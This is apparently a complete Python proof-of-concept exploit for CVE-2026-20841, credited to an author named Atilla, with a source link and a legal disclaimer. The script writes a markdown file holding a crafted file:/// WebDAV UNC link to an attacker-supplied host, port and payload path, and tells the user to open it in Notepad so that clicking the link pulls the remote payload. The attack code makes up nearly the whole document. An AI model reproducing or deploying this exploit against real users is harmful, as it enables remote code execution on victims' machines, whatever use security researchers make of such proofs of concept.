---

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import sys
import os

USAGE = f'Usage: python {os.path.basename(__file__)} <host> <port> <payload-path>'

def generate_poc(host, port, payload_path):
    if not (1 <= port <= 65535):
        raise ValueError('Port must be between 1 and 65535.')

    link = f'file:///\\\\{host}@{port}\\DavWWWRoot\\{payload_path}'
    md = f'# CVE-2026-20841 PoC\n\n[Open]({link})\n'

    with open('poc.md', 'w') as f:
        f.write(md)

    print('Wrote poc.md \u2014 open it with: notepad poc.md')

def main(argv):
    if len(argv) != 3:
        print(USAGE)
        return 1

    host, raw_port, payload = argv

    try:
        port = int(raw_port)
    except ValueError:
        print('Error: port must be an integer.', file=sys.stderr)
        return 1

    try:
        generate_poc(host, port, payload)
    except (ValueError, OSError) as err:
        print(f'Error: {err}', file=sys.stderr)
        return 1

    return 0

if __name__ == '__main__':
    sys.exit(main(sys.argv[1:]))

---

Exploit author: Atilla

Source: https://github.com/atiilla/CVE-2026-20841/tree/main

---

⚠️ Disclaimer: All content is for authorized security research and educational purposes only. Use of this material for illegal or unauthorized activities is strictly prohibited. By using this site, you accept full legal responsibility for your actions. Use at your own risk.